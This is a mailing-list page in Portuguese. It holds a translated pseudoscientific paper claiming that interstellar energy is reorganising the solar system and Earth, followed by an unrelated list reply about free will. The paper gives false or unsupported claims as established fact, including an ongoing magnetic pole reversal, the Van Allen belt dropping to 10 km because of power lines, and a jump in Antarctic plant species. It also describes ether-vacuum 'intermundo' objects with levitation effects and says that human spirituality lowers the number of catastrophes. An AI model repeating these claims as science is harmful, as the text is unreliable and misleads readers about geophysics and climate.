1.1.5 A dupla intensidade do campo magnético em Júpiter (baseado nos dados de1992), e uma série de novos estados e processos observados neste planeta como conseqüência de uma série de explosões em julho de 1994 [causadas pelo Cometa SL-9] [12]. Isto é, um relaxamento da trilha plasmódica [13,14] que excitou a magnetosfera joviana, assim induzindo uma geração excessiva de plasma [12] e sua liberação na mesma maneira como os buracos coronais solares [15] induzindo um aparecimento de cinturão de radiação brilhando na banda dessimétrica (13.2 e 36 cm) e o aparecimento de grandes anomalias aurorais e uma mudança do sistema de correntes de Júpiter - Io [12, 14].

Nota de atualização de A.N.D de novembro 1997: Uma corrente [vapor] de hidrogênio ionizado, oxigênio, nitrogênio etc. está sendo dirigida para Júpiter das áreas vulcânicas de Io por um tubo de fluxo de um milhão de amperes. Isto está afetando o caráter do processo magnético de júpiter e intensificando a gênese de plasma. (Z.I.Vselennaya "Earth and Universe" N3, 1997 plo-9 by NASA data)

1.1.6 Uma série de transformações na atmosfera marciana aumentada sua qualidade de biosfera. Em particular, um crescimento nublado na área do equador e um não usual crescimento de concentração de ozônio. [16].

Nota de atualização: Em setembro de1997 o satélite Mars Surveyor encontrou uma dupla densidade atmosférica daquela projetada pela NASA sobre a entrada em órbita de Marte. Esta maior densidade curvou um dos braços solares além de sua completação e parou aberto. Esta combinação de eventos tem retardado o início da programada missão fotográfica por um ano.

1.1.7 Um primeiro estágio na geração atmosférica sobre a Lua onde uma crescente atmosfera de sódio é detectada e que alcança 9.000 km na altura. [17].



1.1.8 Mudanças significativas físicas, químicas e óticas observadas em Vênus; uma inversão dos locais de luz e escuridão detectada pela primeira vez e uma aguda diminuição de gases contendo enxofre em sua atmosfera. [16].

1. 2 Uma mudança na qualidade do espaço interplanetário através de um aumento em suas propriedades transmissoras interplanetárias e solar-planetária.

Quando falamos de novas qualidades energéticas e materiais só espaço interplanetário, devemos primeiro ressaltar o aumento da carga energética nos domínios interplanetários e o nível de saturação material. Esta mudança do típico estado do espaço interplanetário tem duas causas:

1.2.1 o suprimento/fluxo interno de matéria do espaço interestelar (Radiação material, elementos ionizados e combinações.) [19,20,21].

1.2.2 Os efeitos posteriores da atividade do ciclo solar 22 , espacialmente como um resultado das rápidas ejeções de massa coronal [CME's] dos plasmas magnetizados solares. [22].

É natural para a redistribuição de matéria interestelar e intra-heliosférica criar novas unidades estruturais e processos nos domínios interplanetários. Eles são principalmente observados na formação estruturada de sistemas estendidos de nuvens de plasma magnético [23], e uma freqüência aumentada na geração de ondas de choque; e seus efeitos resultantes. [24].



Já existe um relato de duas novas populações de partículas cósmicas que não eram esperadas serem encontradas nos cinturões de radiação de Van Allen [25]; particularmente uma injeção de um denso elétron maior que 50 MeV na magnetosfera interna durante tempos de abruptas tempestades magnéticas [CME's], e a emergência de um novo cinturão consistente de elementos iônicos tradicionalmente encontrados na composição de estrelas. Esta qualidade recentemente mudada do espaço interplanetário não somente realiza a função de um mecanismo planetário de interação da transmissão, mas [isto é mais importante] exerce ação estimulante e programador sobre a atividade solar em suas fases mínima e máxima. A efetividade sísmica do vento solar também está sendo observada [26,27].



1.3 O Aparecimento de Novos Estados e Regimes de Atividade do Sol.

Tanto quanto diga respeito ao estado físico estelar do Sol, devemos primeiro ressaltar o fato de que importantes modificações têm ocorrido no existente modelo comportamental do objeto central de nosso sistema solar. Esta conclusão vem de observações e relatos de formas não usuais, poderes energéticos e atividades nas funções solares [20,21], bem como nas modificações em suas básicas propriedades fundamentais [28]. Desde o fim do mínimo de Maunder, um progressivo crescimento da atividade geral solar tem sido observado. Este crescimento se revelou mais definidamente no 22º.ciclo; o que oferece um problema real para os heliofísicos que estão admitindo rever seus principais cenários explanatórios:

1.3.1 a respeito da velocidade de alcançar máximos de super flashes.

1.3.2 A respeito do poder emissor de cada flash em separado.

1.3.3 A respeito da energia dos raios cósmicos solares etc.

Sobretudo, a espaçonave Ulysses, atravessando as altas latitudes heliosférica, registrou a ausência do dipolo magnético, o que mudou drasticamente o modelo geral do heliomagnetismo, e posteriormente complicou as apresentações analíticas dos magnetologistas. O papel mais importante heliosférico dos buracos coronais tem agora se tornado claro; para regular a saturação magnética do espaço interplanetário. [28,30].



Adicionalmente, eles geram todas as grandes tempestades geomagnéticas e as ejeções com um campo magnético dirigido para o sul, são geoefetivas [22]. Há também existente substanciação favorecendo os efeitos dos ventos solares sobre a zona de circulação atmosférica da Terra e dinâmica litosférica. [31].

O 23o ciclo foi iniciado por uma curta série de manchas solares em agosto de 1995 [32], o que nos permitiu prever o máximo de atividade solar em 1999. O que também é importante, é que uma série de fogos de classe C já tinha acontecido em julho de 1996. A especificidade e energia deste ciclo foram discutidas no final da década de 1980. [23]. A aumentada freqüência das chamas de fluxo de raios X, que ocorreram bem no início deste ciclo forneceram a evidência dos eventos em grande escala a acontecerem; especialmente em relação a um aumento na freqüência dos superflashes. A situação tinha se tornado extremamente séria devido ao crescimento nas qualidades transmissoras do meio ambiente interplanetário. [2 3, 24] e o crescimento da função heliosférica dos sistemas de júpiter; com júpiter tendo a possibilidade de ser envolvido por uma plasmosfera extendendo-se sobre a órbita de Io [13].

Como um todo, todas as instalações de relatório e observação dão evidência de um crescimento na velocidade, qualidade, quantidade e poder energético dos processos heliosféricos de nosso sistema solar.

Nota de atualização de 1/8/98: o inesperado aumento de nível da atividade solar na última metade de 1997, tem continuado no presente tempo, e fornece forte substanciação para a afirmação acima. Houve três eventos de fluxo nível X Goes 9 em 1997 onde apenas um era previsto; um aumento de 300%. O mais dramático deles, uma ejeção de massa coronal X-9.1 em 6 de novembro de 1997 produziu um evento próton aqui na Terra de aproximadamente 72 horas de duração. O caráter escala e magnitude da atual atividade do Sol tem aumentado ao ponto que um agente do governo do programa de satélite solar relatou recentemente a estação, começando o relatório dizendo: "tudo explodiu a parte do Sol, hoje, 3 de janeiro de 1998".

2.0 OS PROCESSOS DE REORGANIZAÇÃO NA TERRA

As observações registradas e documentadas de todos os processos geofísicos [meio ambiente planetário] e as modificações progressivas claramente significativas em todos os relacionamentos físicos solares-terrestres em ciência, combinados com os efeitos integrais da atividade antropoenedo [antropohenedus] na heliosfera de nosso sistema solar, [33,34], leva-nos a concluir que uma reorganização global e transformação das qualidades físicas e ambientais da Terra estejam ocorrendo agora, diante de nossos olhos. Este rearranjo atual constitui um a mais na longa linha de eventos cósmicos-históricos de significativas transformações evolutivas do sistema solar que são causadas pela modificação periódica, e ampliação, dos processos heliosferico-planetário-solar. No caso do nosso planeta, estes novos eventos têm colocado uma intensa pressão sobre o meio ambiente geofísico; causando novas qualidades a serem observadas nos processos naturais aqui na Terra; causa e efeito que já têm produzido processos híbridos pelos planetas de nosso sistema solar; onde a combinação dos efeitos sobre a matéria natural e características de energia tem sido observados e relatados.



Agora discutiremos os processos globais, regionais e locais.

2.1 A inversão do campo geomagnético.

Tendo claro em mente o conhecido papel significativo do campo magnético na vida humana, em todos os processos biológicos, sublinharemos as características gerais deste estado de mudança no campo geomagnético da Terra. Temos que nos lembrar das muitas espaçonaves e satélites que tem registrado o crescimento da saturação heliosférica magnética em anos recentes [11, 18,35]. A resposta natural da Terra a este nível de saturação elevado se revela em sua intensidade dipolo, sua localização nos pólos magnéticos "c" e seus processos de ressonância de campo eletromagnético [36]. A Terra é o número um entre todos os planetas no sistema solar com respeito a sua habilidade específica a respeito da magnetização da matéria. [6].

Em anos recentes temos visto um crescimento de interesse por geofísicos e magnetologistas, em geral, nos processos geomagnéticos [37-40], e especialmente, em viajar aos pólos magnéticos da Terra [41,42]. Eles estão particularmente interessados em observar os fatos que cercam a viagem direta ou vetorizada do pólo Antártico. Nos últimos cem anos, este pólo magnético tem viajado quase 900 km à frente, e para dentro, do Oceano Índico. Estas mudanças significativas dos pólos magnéticos começaram em 1885. Os dados mais recentes sobre o estado do pólo magnético Ártico que está se movendo na direção da Sibéria Oriental [uma anomalia magnética por meio do Oceano Ártico] revela que este pólo "viajou" mais de 120 km. durante o período de dez anos entre 1973 a 1984, e 150 km durante o mesmo intervalo, 1984 a 1994. Estes dados estimados têm sido confirmados por medições diretas ( L. Newwitt. As coordenadas do pólo Ártico agora são 78.3 graus Norte e 104.0 graus Oeste) [42].

Devemos enfatizar que esta documentada aceleração de mudança polar [3 km. por ano médio em 10 anos], e sua viagem ao longo do corredor geohistórico de inversão dos pólos magnéticos [o corredor tem sido estabelecido pela análise de mais de 400 sítios de paleoinversão] necessariamente leva a conclusão que não é apenas uma mudança ou digressão da norma, mas é de fato uma inversão de pólos magnéticos; em completo processo. Isto é agora visto que a aceleração da viagem polar pode crescer a uma taxa acima de 200 km. por ano. Isto significa que uma inversão polar pode acontecer bem mais rapidamente do que o atualmente suposto por aqueles investigadores sem uma familiaridade com o dominante problema da mudança polar.

Devemos também enfatizar o significativo aumento de reconhecidas anomalias magnéticas mundiais (Canadenses, Leste siberianas, Brasileiras e Antárticas) na reorganização magnética da Terra. Sua importância é devida ao fato de que estas anomalias mundiais constituem uma fonte magnética que é quase independente do principal campo magnético da Terra. A maior parte do tempo, a intensidade destas anomalias magnéticas mundiais substancialmente excede todos os componentes residuais não do polo do campo magnético total da Terra.[48]. É esta inversão do processo do campo magnético que está causando as várias transformações dos processos geofísicos da Terra e o presente estado da magnetosfera polar.

Também temos que levar em consideração o crescimento factual do ângulo da cúspide polar [isto é, os pontos polares na magnetosfera, Norte e Sul], que em meados dos anos de 1900 alcançaram 45 graus [(dados de IZMIRAN)].



[Nota: o ângulo da cúspide era aproximadamente de seis graus na maioria do tempo. Isto flutua dependendo da situação. Durante os últimos cinco anos, contudo, isto tem variado entre 25 e 46 graus]. O aumento e as imensas quantidades de matéria e de energia radiando do vento solar do Sol e espaço interplanetário, pelos meios previamente discutidos, tem começado a correr nestes pontos ampliados nas regiões polares causando que a crosta da Terra, os oceanos e as capas de gelo polar se aqueçam [27].

Nosso estudo das paleo inversões do campo geomagnético, e seus efeitos posteriores têm nos levado à direta conclusão que estes presentes processos sendo observados estão seguindo precisamente os mesmos cenários daqueles de nossos distantes ancestrais. Sinais adicionais de inversão do campo magnético estão se tornando mais intensos em freqüência e em escala. Por exemplo: durante os anteriores 25 milhões de anos, a freqüência das inversões magnéticas era duas em meio milhão de anos enquanto que as inversões no último milhão de anos são de 8 a 14 inversões [43], ou uma inversão a cada 71 a 125 mil anos. O que é essencial aqui é que durante os períodos anteriores de freqüência máxima de inversões tem também um correspondente decréscimo no nível dos oceanos mundiais (10 a 150 metros) pela contradição causada pelo amplo desenvolvimento dos processos dobrando as crostas. Os períodos de menor freqüência de inversão do campo magnético revelam aumentos agudos de nível de oceano mundial devido à prioridade dos processos de expansão e espalhamento na crosta. [43-44]. Portanto, o nível mundial dos oceanos depende da característica global dos processos de expansão e contração atuantes no tempo.

A corrente fase de crescimento da inversão geomagnética pode não levar a uma elevação do volume oceânico pelo aquecimento polar, mas a um decréscimo no nível dos oceanos. As freqüentes inversões significam alargamento e expansão, raras inversões significam contrações. Os processos planetários, como regra, ocorrem por meios complexos e dinâmicos que requerem a combinação e união de todas as forças e campos em ordem de adequadamente compreender o inteiro sistema. Além da consideração da redistribuição hidrosférica, há desenvolvimento de eventos que também indicam uma quebra súbita e aguda da máquina meteorológica da Terra.



2.2 Transformações Climáticas.

Desde que a atenção pública está tão estreitamente focalizada sobre os sintomas de maiores alterações, ou erupções, na máquina climática, e os resultantes [às vezes severos] efeitos biosféricos, devemos considerar estas transformações climáticas em detalhe. Assim, embora não afirmando caracterizar completamente este período da transição climática e biosféricas, forneceremos uma série recente de breves comunicações a respeito da temperatura, ciclo hidrológico, e composição material da atmosfera da Terra.

O regime de temperatura de qualquer fase dada de reorganização climática é caracterizado por contrastes e instabilidades. O amplamente citado e acreditado cenário do Efeito Greenhouse para mudanças climáticas totais está muito longe da fraca explicação, ou ligação, responsabilizada por esta reorganização. Já tem sido observado que o crescimento na concentração do CO2 tem parado, e que o conteúdo de metano na atmosfera tem começado a diminuir [45] enquanto que o desequilíbrio na temperatura, e na dissolução do campo comum de pressão global continua a crescer.

Houve relatos de um máximo da temperatura global em 1994, e a quase que ininterrupta existência de um efeito hidrológico como "El-Nino". Satélite traçando a temperatura de ar de superfície [49,50] permitiu a detecção de 0.22 graus C de variação de temperatura global, [dentro de um típico especifico período de tempo de ao redor de 30 dias] que correlacionou com as oscilações magnéticas de freqüência média registradas. O regime de temperatura da Terra está se tornando mais e mais dependente de influências externas. Os processos representativos de regulação, ou base, destes rearranjos gerais climáticos são:

2.2.1. Uma nova distribuição da camada de ozônio.

2.2.2. Influxo e descarga de material radiativo [plasma] pelas regiões polares e pelas localizações mundiais de anomalias magnéticas.

2.2.3. Crescimento dos efeitos diretos ionosféricos no relacionamento entre os campos meteorológicos, magnéticos e de temperatura da Terra.

Há uma probabilidade crescente de que estamos nos movendo para um período de rápida instabilidade de temperatura igual aquele de 10.000 anos atrás. Ela não é assim tão antiga como foi revelado pela análise das amostras retiradas de gelo na Groenlândia [51]. As análises destas amostras de núcleo estabeleceram que:

2.2.4. as temperaturas anuais aumentaram em 7 graus C.

2.2.5. a precipitação cresceu de 3 a 4 vezes.

2.2.6. a massa de material de poeira aumentou para um fator de 100.

Tais transformações de alta velocidade dos parâmetros dos mecanismos globais climáticos, e seus efeitos nas qualidades físicas e biosféricas da Terra não têm sido ainda rigorosamente estudados pela comunidade científica reinante. Mas os pesquisadores estão insistindo, mais e mais, que o aumento da temperatura da Terra seja dependente e diretamente ligado a interações terrestres espaciais. [52,53]; seja Terra-Sol, Terra-Sistema Solar e/ou Terra-interestelar.

Ao presente tempo não há falta de evidência nas variações da inversão de temperatura na hidrosfera [oceanos]. No Leste do Mediterrâneo tem havido registros de inversão de temperatura nas profundidades maiores que dois quilômetros em uma taxa de 13.3 a 13.5 graus C para uma nova taxa de 13.8 a 13.5; junto com o crescimento da salinidade de 0.02% desde 1987. O crescimento da salinidade no Mar Egeu tem parado, e o fluxo externo de água salgada da Bacia do Mediterrâneo para o Atlântico tem diminuído. Nenhum dos dois processos ou suas causas tem sido bem explicadas. Já tem sido estabelecido que a evaporação aumenta nas regiões equatoriais e fazem que a densidade da água aumente, o que resulta em um imediato afundamento a uma maior profundidade. Geralmente isto forçaria a corrente do golfo a inverter seu fluxo. Uma probabilidade deste evento acontecer é confirmada por outros sinais, bem como modelos numéricos de multiparâmetro [53]. Portanto, o cenário mais altamente provável para o Continente Europeu é um esfriamento agudo e súbito. Em outras partes, a região siberiana tem experimentado um aumento estável de temperatura [58] junto com relatos do Observatório de Novosibirsk Klyuchi de um constante crescimento de acima de 30 nanoteslas por ano do componente vertical do campo magnético. Esta taxa de crescimento aumenta significativamente na medida em que se aproxima da anomalia eletromagnética do leste siberiano.

Nota de atualização 1/8/98: A Administração Nacional Oceânica e Atmosférica relatou hoje, 1/8/98, que 1997 foi o ano mais quente em registro desde que começaram os registros em 1880, e que nove dos anos mais quentes desde aquele tempo ocorreram nos últimos onze anos.

2.3 Redistribuição do Conteúdo de Ozônio Vertical e Horizontal.

A redistribuição do Conteúdo de Ozônio Vertical e Horizontal é o principal indicador, e agente ativo, das transformações gerais climáticas aqui na Terra. E também existe uma evidência que as concentrações de ozônio também tem uma forte influência sobre os processos biosféricos da Terra. Modelos amplamente espalhados de "buracos de ozônio" na estratosfera [7 a 10 milhas acima da Terra] [Antárticos e Siberianos] estão recebendo serias modificações corretivas de dados da redistribuição vertical do ozônio, e seu crescimento na troposfera [abaixo de sete milhas]. Agora é claro que a diminuição em nossa atmosfera no conteúdo total do ozônio é causada pela tecnologia [industrial, humana e poluição], e que o total conteúdo de ozônio em geral tem sérios efeitos sobre o processo de distribuição de energia dentro dos envelopes de gás-plasma da Terra [atmosféricos] [54].

As camadas estratosféricas, troposféricas e de superfície do ozônio agora estão sendo estudadas [55,56]. A foto dissociação [o processo pelo qual uma combinação química se rompe em seus constituintes mais simples] do ozônio controla as atividades oxidantes dentro da troposfera. Isto tem criado uma atmosfera especial, fisioquímica, circunstância pela qual as usuais concentrações troposféricas, períodos de vida, monóxido de carbono, metano e outros gases hidrocarbono são modificados e alterados. Assim, com o fato estabelecido que um aumento estatisticamente significativo nas concentrações de ozônio tem ocorrido nas camadas troposféricas entre 5 e 7 milhas e com o acréscimo do completo conhecimento das propriedades oxidantes do ozônio, devemos concluir que uma alteração básica e fundamental da composição de gás e do estado físico da atmosfera da Terra já tem começado.

Há continuamente relatos da diminuição da concentração regional estratosférica do ozônio [25 a 49% ou mais sobre a Sibéria (57)], e de decréscimos globais do conteúdo de ozônio em latitudes de 20-26 milhas; com a máxima diminuição de 7% estando a 24 milhas [55]. Ao mesmo tempo, não há evidência direta do crescimento da radiação UV na superfície do solo [58]. Há, contudo, um crescente número de "alertas de ozônio" em grandes cidades européias. Por exemplo, em 1994 ocorreram 1800 destes alertas em Paris. Além disso, concentrações notavelmente altas de ozônio na camada de superfície foram registradas na região siberiana. Houve concentrações de ozônio em Novosibirsk que excederam 50 vezes o nível normal. Devemos relembrar que o cheiro do ozônio é perceptível em contrações de 100 mkg/m3; i.e. a 2 a 10 vezes do nível normal.

A preocupação mais séria dos aeronomistas vem da detecção de H02 que está sendo produzido a uma altitude de 11 milhas por uma fonte completamente desconhecida ou mecanismo. Esta fonte de HO2 foi descoberta como resultado de uma investigação das proporções OH/HO2 em um intervalo entre 4.35 e 21.70 milhas na troposfera superior e na estratosfera. Este significativo crescimento de HO2, durante o tempo, criará uma dependência desta substância para aos processos de transferência e redistribuição do ozônio na estratosfera inferior. [56].

A submissão do regime dinâmico do ozônio e da distribuição espacial a esta fonte desconhecida de HO2, significa uma transição na atmosfera da Terra a um novo processo fisioquímico. Isto é muito importante porque a não uniformidade nas concentrações de ozônio na Terra pode, e causará um crescimento abruto nos gradientes de temperatura, que por sua vez levarão a um aumento das velocidades de movimento de massa do ar, e a irregularidades dos padrões de mistura de circulação [46,59]. As mudanças de gradiente de temperatura e alterações, por todo o planeta, criariam novas condições termodinâmicas para inteiras regiões; especialmente quando as hidrosferas [oceanos] começam a participar no não equilíbrio novo térmico. O estudo [53] suporta esta conclusão, e a alta possibilidade de um resfriamento abrupto dos continentes norte-americano e europeu. A probabilidade de um tal cenário aumenta quando se leva em consideração a ociosidade a dez anos da bomba hidrotérmica do Atlântico Norte. Com isto em mente, a criação de um mapa climático, global ecologicamente orientado que possa rever estas catástrofes globais se torna criticamente importante.

3.0 A CHEGADA E CONSEQUÊNCIAS DE NOVAS CONDIÇÕES

Considerando a totalidade e relacionamento seqüencial do background passageiro, os novos processos formados, trazidos pelas transformações planetofísicas, antropogênicas e cosmogênicas, e as alterações de nossos sistemas climáticos, achamos razoável dividir os assuntos em suas influências manifestas [explicitas] e não manifestas [implícitas] sobre o meio ambiente da Terra.

3.1 Conseqüências Manifestas ou Explícitas

Classes ou categorias de efeitos trazidos pelo corrente estado de reorganização da Terra são muito diversas. A maioria delas, contudo, tendem a ser do tipo de evento passageiro de alta energia. Baseado nos resultados da Conferência de Yokohama (outono de 1994,) eles podem ser chamados de "catástrofes significativas" e são de nove tipos.

Danos >1% de baixas>1%

produto interno bruto das populações. > 100 mortes.

Devemos ter em mente que a crescente complexidade dos sinais de padrões climáticos levam a uma transformação que tende a um novo estado, ou como diz o acadêmico Kondratyev, os dados indicam que estamos nos movendo na direção de um caos climático. Na realidade, este estado de transição de nossa máquina climática está fazendo novas exigências a inteira biosfera da Terra; o que inclui a espécie humana. Em particular, há relatos da Antártica que mostram uma dramática reação da vegetação as recentes mudanças no clima; houve 700 espécies encontradas crescendo em 1964 e 17.500 em 1990 [61]. Este aumento da cobertura vegetativa da Terra forme evidência da reação biosférica ao processo em desenvolvimento de rearranjo climático.

O padrão dominante de geração e movimento dos ciclones também tem mudado. Por exemplo, o número de ciclones se movendo para a Rússia do ocidente tem crescido 2.5 vezes durante os últimos dois anos. Níveis aumentados do oceano, causados pelo gelo das regiões polares, levarão a rápidas mudanças nas linhas costeiras, uma redistribuição do relacionamento terra e mar, e a ativação de significativos processos geodinâmicos. Esta é a principal característica daqueles processos que levam a uma nova ordem climática e biosférica.

3.2 As conseqüências não Manifestas ou Implícitas.

As conseqüências implícitas são aquelas que estão abaixo do nível da percepção humana e que, portanto, não nos chamam a atenção. Registros de instrumentos e mesmo observações diretas destes fenômenos pelo campo eletromagnético da Terra evidenciam que uma imensa transformação do meio ambiente terrestre está acontecendo. Esta situação é agravada pelo fato que o poder humano nos anos de 1990 de produção/uso aumentaram (1-9E+26 ergs/por ano, o que significa que alcançou os valores conservadores da energia conservadora produção/uso de nosso planeta).

Já há efeitos tecnogênicos sobre o estado funcional do esqueleto eletromagnético da Terra sendo registrados. Um ciclo tecnogênico de sete dias para as variações de parâmetros dinâmicos do campo geomagnético foi revelado 1985 [62,63]. Este ciclo tem afetado muito dos ciclos curtos nos relacionamentos solares-terrestres. Mais de 30% dos distúrbios médios da magnetosfera são causados pela produção de energia, transmissão e consumo. O cinturão de radiação de Van Allen tem abruptamente abaixado sobre a costa leste dos EUA de 300 km para apenas 10 km. Este processo está associado com a transmissão da eletricidade dos Grandes Lagos ao Sul ao longo do meridiano magnético e o uso da freqüência de ressonância ionosférica (60Hz) do consumo de energia [63]. Há também uma coerência registrada entre as inerentes qualidades da anomalia magnética brasileira e o sistema de produção de energia de "Hydro-Quebec". Os processos combinados tecno-naturais eletromagnéticos nas megalópoles são muito complexos e ainda não estudados.

Sobretudo, o aumento na freqüência, escopo, das formações naturais auto luminosas na atmosfera e forças geo espaciais nos tem despertado e foram percebidas [64,65,66]. Os processos de geração, a existência de tais formações, se espalhando por toda a Terra, representa um notável fenômeno físico. O que é mais não usual a respeito destas formações auto luminosas é que embora elas tenham características distintas de bem conhecidos processos físicos, elas estão em combinações completamente não usuais e são acompanhadas por características de processo que não podem ser explicadas com base no existente conhecimento físico. Assim, as características dos intensos processos eletromagnéticos estão sendo encontradas no espaço perto ou dentro destes objetos auto luminosos naturais. Estas características incluem:

3.2.1. Intensa emissão eletromagnética variando da banda micrométrica de onda é o diapasão visível, a televisão e os comprimentos de ondas de rádio.

3.2.2. Alterações dos campos elétricos e magnéticos como rompimentos elétricos e magnetização de rochas e objetos técnicos.

3.2.3. Descargas elétricas destrutivas.

3.2.4. Efeitos de gravitação como levitação.

3.2.5. Outros.

Todas as qualidades desta classe de fenômeno estão exigindo o desenvolvimento de novos ramos da física moderna; particularmente a criação de um "modelo não homogêneo do vácuo físico".[67]. Um avanço nas ciências nesta direção nos permitiria revelar a verdadeira natureza destes objetos, que estão agindo aparente e latentemente sobre nosso ambiente geológico-geofísico e biosféricos e sobre a vida humana [68].

Portanto, devemos primeiro levar em consideração todos os recentemente desenvolvidos processos e estados de nosso meio ambiente geológico-geofísico. Estes processos, na maior parte, se manifestam em qualidades difíceis de observar e de registrar, qualidades do esqueleto eletromagnético da Terra. Estes dados também dizem respeito aos significados geofísicos e climáticos das interações solares-terrestres e planetário-terrestres. Isto é especificamente verdadeiro de Júpiter que está magneticamente conjugado a nosso planeta. As totalidades destes processos transformadoras planetárias se desenvolvem precipitadamente, obliquamente e diversamente. É crítico que os políticos sejam informados e treinado para entender estes relacionamento global entre a totalidade de atividades naturais e antropogênicas e as causas e efeitos fundamentais [69].



Uma competente necessidade existe de começar um estudo científico que delinearia os problemas associados com os atuais processos transformacionais e os efeitos que terão na dinâmica demográfica global. [70]. Um aumento agudo de nossa força destrutiva tecnogênica sobre um planeta bem como em escala cósmica, tem agora colocado a futura sobrevivência de nossa civilização tecnocrática em questão. [33,7]. Adicionalmente, os princípios de supremacia da natureza [72] sobre as correntes tenogenicidades integrais e atividades psicogenéticas d humanidade e seus resultados se tornam mais e mais aparentes.

CONCLUSÕES

A situação que em sido criado aqui em nossa heliosfera é de origem do espaço cósmico, externo, interestelar e deve ser causada pelas subjacentes auto oscilações fundamentais, espaço físicas, processos de criação contínua que tem se delineado e continuam a envolver nosso universo. O atual estado excitado de nossa heliosfera existe dentro de um todo, o organismo que compõe o sistema solar, o sol, os planetas, luas, cometas e asteróides bem como os meios plasma e eletromagnéticos e as estruturas do espaço interplanetário. A resposta e estas injeções materiais e de energia interestelar em nossa heliosfera tem sido, e continuam a ser, uma série de novos processos energéticos e formações observadas em todos os planetas, entre os planetas e suas luas, e os planetas e o sol.

A habilidade da Terra em se adaptar a estas ações externas e transferências é agravada, tornada mais difícil, pelas alterações tecnogênicas que temos feito na qualidade ou estado natural de nosso meio ambiente geológico/geofísico. O nosso planeta está agora em um processo dramático de transformação pela alteração do esqueleto eletromagnético por uma mudança de pólos de campo geomagnéticos, e pelas mudanças na composição do ozônio e hidrogênio, nos níveis de saturação de seus envelopes gás/plasma. Estas mudanças no estado físico da Terra estão sendo acompanhadas pelos resultantes processos climáticos, atmosféricos e biosféricos. Estes processos estão se tornando mais e mais intensos e freqüentes como evidenciado pelo aumento de tempo real nos "eventos passageiros não periódicos" [catástrofes]. Há razões favorecendo ou apontando para o fato de que um crescimento na qualidade ética ou espiritual da humanidade diminuiria o numero e a intensidade das catástrofes complexas. Tem se tornado vitalmente importante que um mapa do mundo seja preparado estabelecendo as regiões favoráveis e catastróficas levando em consideração a qualidade do meio ambiente geológico/geofísico, a variedade e intensidade das influências cósmicas e o nível real de desenvolvimento espiritual e ético das pessoas que ocupam estas áreas.

É razoável apontar que nosso planeta logo estará vivenciando estas novas condições de energia crescente que significam a transição a um novo estado e qualidade do relacionamento espaço/Terra. Os organismos vivos daquelas regiões da Terra que tenham maiores atrações para as influências cósmicas serão levadas em um caminho para desenvolver apropriadas reações de vida, ou processos, a estas novas condições. Estas zonas de comutações verticais e transferência de energia já estão se tornando o coração, o leito na busca de novos sistemas de adaptação e transformação mútua. A lista geral destas zonas inclui as regiões polares, as extremidades continentais leste das regiões equatoriais [Caribe, Madagascar, Filipinas, Mar Amarelo, etc.], e as zonas internas continentais que tendem a se dobrar e se elevar [Himalaia, Pamir-Hindukush, sistemas Altay-Sayan, etc.].



As mais significativas destas áreas são as zonas heliosensitivas que tem respostas intensas nas atividades geo efetivas solares [Nota #1]; respostas que incluem manifestações muito dramáticas e manifestações muito usuais de vácuo não homogêneo, ou éter clássico não mecânico, estruturas de domínio. Estas estruturas ou objetos então interagem com as zonas heliosensíveis produzindo efeitos profundos e poderosos sobre o meio ambiente tais como a alteração das atividades sísmicas e das composições químicas. Por causa destes objetos de domínio no vácuo não homogêneo apresentarem características não deste mundo físico tais como "céu líquido" e "movimento não newtoniano", é difícil não descrever suas manifestações como sendo processos "intermundo". É importante ressaltar que estas zonas heliosensitivas que exibem processos em média e em grande escala estão estreitamente associadas com estes "processos intermundo" produzidos pelos distúrbios da homogeneidade do vácuo físico.



Tais distúrbios causam e criam processos de transferência de energia e matéria entre o meio éter e o nosso mundo tridimensional. A multitude de tal fenômeno, que é rico em qualidade e variedade, já está crescendo rapidamente. Centenas de milhares destas formações naturais auto luminosas estão exercendo uma crescente influência sobre os campos geofísicos da Terra e biosfera. Sugerimos que a presença destas formações seja o precedente principal da transformação da Terra; uma Terra que se torna mais e mais sujeita aos processos físicos passageiros que existem dentro da fronteira entre o vácuo físico e nosso mundo material.

Tudo isto coloca a humanidade, cada um de nós, diretamente diante de um problema muito difícil; a criação de um avanço revolucionário no conhecimento que exigirá uma transformação de nosso pensamento que seja igual a este fenômeno nunca antes visto em nosso mundo. Não há outro caminho ao futuro alem de uma percepção vivencial profunda interna e conhecimento dos eventos agora subjacentes no meio ambiente natural que nos circunda. Somente através deste entendimento é que a humanidade obterá o equilíbrio com o renovado fluxo do estado planeta físico e processo.



Tradução: Lydia Ribeiro


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RE: [ciencialist] Ferrari: Como funciona o processo de conhecer a natureza
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/04/2007 13:46

Ferrari,
hi...
Acho bom a gente ter cuidado, pq já brigamos antes e meu tempo é curto.
Como a argumentação q/a gente recebe é repetitiva e previsível, e, muitas
vezes, abruptamente interrompida quando vc aperta, eu posso sim decidir não
exercitar minha dialética.
Há que existir um mínimo de base filosófica p/esse tipo de papo, vc sabe.
''Livre arbítrio'' existe sim, vc não poderá negar... SÓ QUE numa faixa
muito estreita, PORéM com ampla repercussão causal e estúpidas
consequências. Mesmo o QUERER ( arbítrio ) instintivo e grosseiro de
qualquer um é tão causativo quanto o mais sublime dos atos.
Daí, ser a ignorância o maior dos males, apesar das suas grandes
contribuições para enriquecer a sopa da vida experimental - na carne, não
existe outra.
A metáfora do Orlando se deve às diferenças entre os mundos dos
interlocutores - com a diferença que um índio arredio, mais frágil, *quer*
aprender e *não ignora que ignora*.
Prá mim, um proto-hyppie, um sítio ainda está faltando em minha vida.
Que eternidade é esta que não tarda nem falha? A morte?
abr/Muliro SP 01/abr


>From: Ferrari <emailferrari@yahoo.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] RE: Murilo: Como funciona o processo de conhecer a
>natureza
>Date: Sat, 31 Mar 2007 15:49:16 -0300 (ART)
>
>Olá Murilo!
>
>Murilo >>> não sei como é que vc encontra capacidade
>sacal p/o papo.
>
>--- Já te disse uma vez, vc não acredito. Fez bem, não
>é coisa de se acreditar, só vale mesmo se vc lutar
>contra isto até ficar inegável: não existe
>livre-arbitrio (na ação).
>
>Murilo >>> É como enxugar gelo, meu!
>
>--- Hehehehe... e o que nesta vida não é? Só muda o
>nome do gelo.
>
>Murilo >>> Vc deve se sentir um Orlando Villas Boas,
>sem querer ofender qualquer silvícula.
>
>--- Não entendi a metáfora. Por favor, me explique.
>
>Murilo >>> Arre égua! Só mesmo morando num sítio!
>
>--- Caro Jedi, aproveite, pois seu dia vai chegar! A
>eternidade nem tarda nem falha.
>
>
>
>abçomano
>ferrari
>
